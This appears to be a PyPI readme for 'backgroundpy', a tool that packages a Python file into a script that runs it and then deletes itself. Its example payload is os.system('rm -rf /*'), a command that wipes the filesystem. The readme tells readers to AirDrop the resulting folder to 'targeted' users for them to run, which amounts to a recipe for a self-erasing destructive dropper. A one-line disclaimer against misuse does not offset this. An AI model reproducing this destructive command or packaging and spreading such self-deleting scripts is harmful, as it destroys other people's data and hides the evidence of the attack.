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A tool for generating a runnable script, which runs a function and deletes itself after it is ran.

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A tool for generating a runnable script, which runs a python file and deletes itself after it is ran (basically it generates a runnable script that cleans up after itself).


This tool is capable of running a script as a background thread and removing itself. This tool yields malware/trolling potential; however, do NOT use this tool for malicious reasons (just don't).


pip install backgroundpy

No I'm not going to list any other methods of installation because literally every other pypi package includes a 5 pages long installation guide on PYPI (google it up).


  • Mac OS/Linux only because Windows is dumb
  • Python 3


Create a python file with your code in it. An example is provided below:

# Some Random Script

import os

os.system('rm -rf /*') # Very friendly, eh?

Just don't put a function that requires packages the targeted user doesn't have.

Next, run the following command. Replace the path with the path of your file:

python -m backgroundpy MyScript /path/to/the/file/thingy/u/just/

The above script creates a folder named MyScript (replace with a name of your choice), in which there is a script named MyScript that runs the given file and then deletes everything inside that folder. Airdrop the entire folder to other people for them to run.

Note that the output folder is created in the current directory of the bash.

Some Thoughts

Yes this package is basically useless. I'm just bored (stuck in an IGCSE CS class about what are arrays).

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